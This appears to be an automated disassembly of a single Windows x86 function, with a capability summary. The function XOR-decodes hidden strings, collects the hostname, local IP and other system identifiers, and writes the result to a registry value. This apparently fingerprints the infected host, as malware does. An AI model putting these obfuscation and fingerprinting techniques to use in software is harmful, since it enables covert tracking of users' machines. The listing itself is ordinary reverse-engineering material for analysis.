Function at 0x10001b50
Capabilities:
Encode data using xor
Get hostname
Initialize winsock library
Query or enumerate registry value
Resolve dns
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x55c
mov eax, dword [0x1003a470]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x55c], ebx
mov eax, 0xd2
xor esi, esi
mov cl, byte [esi + 0x100353ec]
xor cl, al
inc eax
mov byte [ebp + esi - 0x33c], cl
inc esi
and eax, 0xff
cmp esi, 0x13
jb 0x10001b75
mov byte [ebp - 0x329], bl
mov eax, 0x8e
xor esi, esi
lea ecx, [ecx]
mov dl, byte [esi + 0x10035400]
xor dl, al
inc eax
mov byte [ebp + esi - 0x3a4], dl
inc esi
and eax, 0xff
cmp esi, 0x2e
jb 0x10001ba0
lea eax, [ebp - 0x3a4]
push eax
lea esi, [ebp - 0x33c]
mov byte [ebp - 0x376], bl
call fcn.100019c0
add esp, 4
push 0x2f
lea ecx, [ebp - 0x3a4]
push ebx
push ecx
mov edi, eax
call fcn.1001b890
sub esp, 0x10
mov esi, esp
mov eax, edi
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 0x338], ebx
mov dword [ebp - 0x334], ebx
mov dword [ebp - 0x330], ebx
mov dword [ebp - 0x32c], ebx
mov dword [ebp - 0x55c], esp
mov byte [esi], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10001c21
sub eax, ecx
push eax
push edi
mov ecx, esi
call fcn.10011120
lea ecx, [ebp - 0x35c]
call fcn.100036e0
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x554]
push edx
lea eax, [ebp - 0x218]
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10016709
add esp, 0x24
cmp dword [ebp - 0x348], 0x10
mov word [ebp - 0x554], bx
mov byte [ebp - 0x552], bl
jb 0x10001c93
mov ecx, dword [ebp - 0x35c]
push ecx
call fcn.100164ee
add esp, 4
mov ecx, 0x81de0abd
lea eax, [ebp - 0x334]
call fcn.10012bd0
mov esi, eax
mov ecx, 0x6a
xor edi, edi
lea esp, [esp]
mov dl, byte [edi + str.9_99._4._]
xor dl, cl
inc ecx
mov byte [ebp + edi - 0x36c], dl
inc edi
and ecx, 0xff
cmp edi, 0x2c
jb 0x10001cb0
lea eax, [ebp - 0x36c]
push eax
mov byte [ebp - 0x340], bl
call fcn.100019c0
add esp, 4
push 0x2d
lea ecx, [ebp - 0x36c]
push ebx
push ecx
mov esi, eax
call fcn.1001b890
add esp, 0xc
xor eax, eax
push esi
lea edx, [ebp - 0x218]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x330], eax
mov byte [ebp - 0x32c], al
push edx
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0x110]
push ecx
mov dword [ebp - 0x328], 0x25207325
mov word [ebp - 0x324], 0x73
call fcn.10016709
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x110]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x55c], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001d57
sub eax, edi
push eax
lea edx, [ebp - 0x110]
push edx
mov ecx, esi
call fcn.10011120
lea ecx, [ebp - 0x35c]
call fcn.100036e0
mov esi, eax
mov edi, esp
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov ecx, 7
lea eax, [ebp - 0x554]
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x218]
push ecx
call fcn.10016709
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x348], 0x10
mov word [ebp - 0x554], ax
mov byte [ebp - 0x552], al
jb 0x10001dd1
mov edx, dword [ebp - 0x35c]
push edx
call fcn.100164ee
add esp, 4
push 0x104
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.1001b890
mov ecx, str.PriwyIDP
sub ecx, 0x6f747e8f
add esp, 0xc
lea eax, [ebp - 0x334]
mov dword [ebp - 0x558], ecx
call fcn.10012c40
mov edi, eax
mov ecx, 0x7f
xor esi, esi
jmp 0x10001e10
mov dl, byte [esi + 0x10035478]
xor dl, cl
inc ecx
mov byte [ebp + esi - 0x3c0], dl
inc esi
and ecx, 0xff
cmp esi, 0x4c
jb 0x10001e10
lea eax, [ebp - 0x3c0]
push eax
mov esi, edi
mov byte [ebp - 0x374], bl
call fcn.100019c0
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001e46
sub eax, edx
cmp eax, 2
setae al
cmp al, bl
je 0x10001f77
mov ecx, dword [ebp - 0x558]
lea eax, [ebp - 0x334]
call fcn.10012c40
mov esi, eax
mov ecx, 0x7f
xor edi, edi
mov dl, byte [edi + 0x10035478]
xor dl, cl
inc ecx
mov byte [ebp + edi - 0x3c0], dl
inc edi
and ecx, 0xff
cmp edi, 0x4c
jb 0x10001e77
lea eax, [ebp - 0x3c0]
push eax
mov byte [ebp - 0x374], bl
mov dword [ebp - 0x328], 0x25207325
mov word [ebp - 0x324], 0x73
call fcn.100019c0
add esp, 4
push eax
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.10016709
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x110]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x55c], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001ef6
sub eax, edi
push eax
lea ecx, [ebp - 0x110]
push ecx
mov ecx, esi
call fcn.10011120
lea ecx, [ebp - 0x35c]
call fcn.100036e0
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x554]
push edx
lea eax, [ebp - 0x218]
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10016709
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x348], 0x10
mov word [ebp - 0x554], ax
mov byte [ebp - 0x552], al
jb 0x10001f70
mov ecx, dword [ebp - 0x35c]
push ecx
call fcn.100164ee
add esp, 4
mov byte [0x10141680], 1
push 0x104
lea edx, [ebp - 0x110]
push ebx
push edx
call fcn.1001b890
add esp, 0xc
cmp byte [0x10141680], bl
jne 0x10001ff8
mov ecx, dword [ebp - 0x558]
lea eax, [ebp - 0x334]
call fcn.10012c40
mov edi, eax
mov ecx, 0x87
xor esi, esi
mov edi, edi
mov al, byte [esi + 0x100354c8]
xor al, cl
inc ecx
mov byte [ebp + esi - 0x3c0], al
inc esi
and ecx, 0xff
cmp esi, 0x4c
jb 0x10001fb0
lea ecx, [ebp - 0x3c0]
push ecx
mov esi, edi
mov byte [ebp - 0x374], bl
call fcn.100019c0
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001fe6
sub eax, edx
cmp eax, 2
jb 0x10001ff8
mov al, 1
jmp 0x10001ffa
xor al, al
cmp al, bl
je 0x10002121
mov ecx, dword [ebp - 0x558]
lea eax, [ebp - 0x334]
call fcn.10012c40
mov esi, eax
mov ecx, 0x87
xor edi, edi
lea esp, [esp]
mov dl, byte [edi + 0x100354c8]
xor dl, cl
inc ecx
mov byte [ebp + edi - 0x3c0], dl
inc edi
and ecx, 0xff
cmp edi, 0x4c
jb 0x10002020
lea eax, [ebp - 0x3c0]
push eax
mov byte [ebp - 0x374], bl
mov dword [ebp - 0x328], 0x25207325
mov word [ebp - 0x324], 0x73
call fcn.100019c0
add esp, 4
push eax
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.10016709
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x110]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x55c], esp
mov byte [esi], bl
lea edi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100020a0
sub eax, edi
push eax
lea ecx, [ebp - 0x110]
push ecx
mov ecx, esi
call fcn.10011120
lea ecx, [ebp - 0x35c]
call fcn.100036e0
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x554]
push edx
lea eax, [ebp - 0x218]
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10016709
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x348], 0x10
mov word [ebp - 0x554], ax
mov byte [ebp - 0x552], al
jb 0x1000211a
mov ecx, dword [ebp - 0x35c]
push ecx
call fcn.100164ee
add esp, 4
mov byte [0x10141680], 1
push 0x104
lea edx, [ebp - 0x110]
push ebx
push edx
call fcn.1001b890
add esp, 0xc
cmp byte [0x10141680], bl
jne 0x100021a8
mov ecx, dword [ebp - 0x558]
lea eax, [ebp - 0x334]
call fcn.10012c40
mov edi, eax
mov ecx, 0x62
xor esi, esi
jmp 0x10002160
mov al, byte [esi + str._6_1:_6____5_3_]
xor al, cl
inc ecx
mov byte [ebp + esi - 0x3c0], al
inc esi
and ecx, 0xff
cmp esi, 0x4c
jb 0x10002160
lea ecx, [ebp - 0x3c0]
push ecx
mov esi, edi
mov byte [ebp - 0x374], bl
call fcn.100019c0
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002196
sub eax, edx
cmp eax, 2
jb 0x100021a8
mov al, 1
jmp 0x100021aa
xor al, al
cmp al, bl
je 0x100022e6
mov ecx, dword [ebp - 0x558]
lea eax, [ebp - 0x334]
call fcn.10012c40
mov esi, eax
mov ecx, 0x62
xor edi, edi
lea esp, [esp]
mov dl, byte [edi + str._6_1:_6____5_3_]
xor dl, cl
inc ecx
mov byte [ebp + edi - 0x3c0], dl
inc edi
and ecx, 0xff
cmp edi, 0x4c
jb 0x100021d0
lea eax, [ebp - 0x3c0]
push eax
mov byte [ebp - 0x374], bl
mov dword [ebp - 0x328], 0x25207325
mov word [ebp - 0x324], 0x73
call fcn.100019c0
add esp, 4
push eax
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.10016709
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x110]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x55c], esp
mov byte [esi], bl
lea edi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002250
sub eax, edi
push eax
lea ecx, [ebp - 0x110]
push ecx
mov ecx, esi
call fcn.10011120
lea ecx, [ebp - 0x35c]
call fcn.100036e0
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x554]
push edx
lea eax, [ebp - 0x218]
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10016709
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x348], 0x10
mov word [ebp - 0x554], ax
mov byte [ebp - 0x552], al
jb 0x100022ca
mov ecx, dword [ebp - 0x35c]
push ecx
call fcn.100164ee
add esp, 4
push 0x104
lea edx, [ebp - 0x110]
push ebx
push edx
call fcn.1001b890
add esp, 0xc
mov byte [0x10141680], 1
mov ecx, 0x3f646489
lea eax, [ebp - 0x334]
call fcn.10012cd0
mov esi, eax
mov ecx, 0x4f
xor edi, edi
nop
mov al, byte [edi + 0x10035574]
xor al, cl
inc ecx
mov byte [ebp + edi - 0x354], al
inc edi
and ecx, 0xff
cmp edi, 0x14
jb 0x10002300
lea ecx, [ebp - 0x354]
push ecx
mov byte [ebp - 0x340], bl
mov dword [ebp - 0x328], 0x25207325
mov word [ebp - 0x324], 0x73
call fcn.10001a50
add esp, 4
push eax
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.10016709
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x110]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x55c], esp
mov byte [esi], bl
lea edi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002380
sub eax, edi
push eax
lea edx, [ebp - 0x110]
push edx
mov ecx, esi
call fcn.10011120
lea ecx, [ebp - 0x35c]
call fcn.100036e0
mov esi, eax
mov edi, esp
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov ecx, 7
lea eax, [ebp - 0x554]
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x218]
push ecx
call fcn.10016709
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x348], 0x10
mov word [ebp - 0x554], ax
mov byte [ebp - 0x552], al
jb 0x100023fa
mov edx, dword [ebp - 0x35c]
push edx
call fcn.100164ee
add esp, 4
push 0x104
lea eax, [ebp - 0x110]
push ebx
push eax
call fcn.1001b890
mov ecx, 0x1003558c
add esp, 0xc
sub ecx, 0x7b55180
lea eax, [ebp - 0x334]
call fcn.10012d60
mov esi, eax
mov ecx, 0x4f
xor edi, edi
mov edi, edi
mov dl, byte [edi + 0x10035574]
xor dl, cl
inc ecx
mov byte [ebp + edi - 0x354], dl
inc edi
and ecx, 0xff
cmp edi, 0x14
jb 0x10002430
lea eax, [ebp - 0x354]
push eax
mov byte [ebp - 0x340], bl
mov dword [ebp - 0x328], 0x25207325
mov word [ebp - 0x324], 0x73
call fcn.10001a50
add esp, 4
push eax
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.10016709
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x110]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x55c], esp
mov byte [esi], bl
lea edi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100024b0
sub eax, edi
push eax
lea ecx, [ebp - 0x110]
push ecx
mov ecx, esi
call fcn.10011120
lea ecx, [ebp - 0x35c]
call fcn.100036e0
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x554]
push edx
lea eax, [ebp - 0x218]
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10016709
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x348], 0x10
mov word [ebp - 0x554], ax
mov byte [ebp - 0x552], al
jb 0x1000252a
mov ecx, dword [ebp - 0x35c]
push ecx
call fcn.100164ee
add esp, 4
push 0x104
lea edx, [ebp - 0x110]
push ebx
push edx
call fcn.1001b890
add esp, 0xc
lea eax, [ebp - 0x550]
push eax
push 0x101
mov dword [ebp - 0x328], 0x25207325
mov word [ebp - 0x324], 0x73
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xff
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xff
lea eax, [ebp - 0x320]
push ebx
push eax
call fcn.1001b890
add esp, 0xc
push esi
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.10016709
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x110]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x55c], esp
mov byte [esi], bl
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100025f0
sub eax, edi
push eax
lea ecx, [ebp - 0x110]
push ecx
mov ecx, esi
call fcn.10011120
lea ecx, [ebp - 0x35c]
call fcn.100036e0
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x554]
push edx
lea eax, [ebp - 0x218]
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.10016709
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x348], 0x10
mov word [ebp - 0x554], ax
mov byte [ebp - 0x552], al
jb 0x1000266a
mov ecx, dword [ebp - 0x35c]
push ecx
call fcn.100164ee
add esp, 4
push 0x104
lea edx, [ebp - 0x110]
push ebx
push edx
call fcn.1001b890
add esp, 0xc
xor edx, edx
mov al, byte [ebp + edx - 0x218]
cmp al, 0x41
jl 0x10002699
cmp al, 0x5a
jg 0x10002699
add al, 0x20
mov byte [ebp + edx - 0x218], al
lea eax, [ebp - 0x218]
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100026a3
sub eax, esi
cmp edx, eax
jbe 0x10002681
mov dword [ebp - 0x328], 0x756c6176
mov dword [ebp - 0x324], 0x393965
mov eax, 0xa4
xor esi, esi
jmp 0x100026d0
mov cl, byte [esi + 0x10035598]
xor cl, al
inc eax
mov byte [ebp + esi - 0x358], cl
inc esi
and eax, 0xff
cmp esi, 0x15
jb 0x100026d0
lea edi, [ebp - 0x328]
lea ecx, [ebp - 0x358]
mov byte [ebp - 0x343], bl
call fcn.100018b0
test eax, eax
sete al
cmp al, bl
je 0x100027ea
mov eax, 0xa4
xor esi, esi
mov dl, byte [esi + 0x10035598]
xor dl, al
inc eax
mov byte [ebp + esi - 0x358], dl
inc esi
and eax, 0xff
cmp esi, 0x15
jb 0x10002716
lea eax, [ebp - 0x558]
push eax
lea ecx, [ebp - 0x358]
push ecx
push connect
mov byte [ebp - 0x343], bl
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, 0xa4
xor esi, esi
mov dl, byte [esi + 0x10035598]
xor dl, al
inc eax
mov byte [ebp + esi - 0x358], dl
inc esi
and eax, 0xff
cmp esi, 0x15
jb 0x10002757
lea eax, [ebp - 0x558]
push eax
push 0xf003f
push ebx
lea ecx, [ebp - 0x358]
push ecx
push connect
mov byte [ebp - 0x343], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x100028ce
mov ecx, dword [ebp - 0x558]
push 0x20
lea edx, [ebp - 0x218]
push edx
push 1
push ebx
lea eax, [ebp - 0x328]
push eax
push ecx
mov dword [ebp - 0x328], 0x756c6176
mov dword [ebp - 0x324], 0x393965
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x218]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100164f9
mov esp, ebp
pop ebp
ret
push 0x104
lea edx, [ebp - 0x218]
push ebx
push edx
call fcn.1001b890
add esp, 0xc
mov dword [ebp - 0x330], 0x756c6176
mov dword [ebp - 0x32c], 0x393965
mov eax, 0xa4
xor esi, esi
lea ebx, [ebx]
mov cl, byte [esi + 0x10035598]
xor cl, al
inc eax
mov byte [ebp + esi - 0x358], cl
inc esi
and eax, 0xff
cmp esi, 0x15
jb 0x10002820
lea edx, [ebp - 0x558]
push edx
push 1
push ebx
lea eax, [ebp - 0x358]
push eax
push connect
mov byte [ebp - 0x343], bl
mov word [ebp - 0x554], 0x7325
mov byte [ebp - 0x552], bl
mov dword [ebp - 0x55c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100028b1
lea ecx, [ebp - 0x55c]
push ecx
lea edx, [ebp - 0x320]
push edx
mov edx, dword [ebp - 0x558]
lea eax, [ebp - 0x324]
push eax
push ebx
lea ecx, [ebp - 0x330]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x558]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x320]
push ecx
lea edx, [ebp - 0x554]
push edx
lea eax, [ebp - 0x218]
push eax
call fcn.10016709
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
lea eax, [ebp - 0x218]
pop ebx
call fcn.100164f9
mov esp, ebp
pop ebp
ret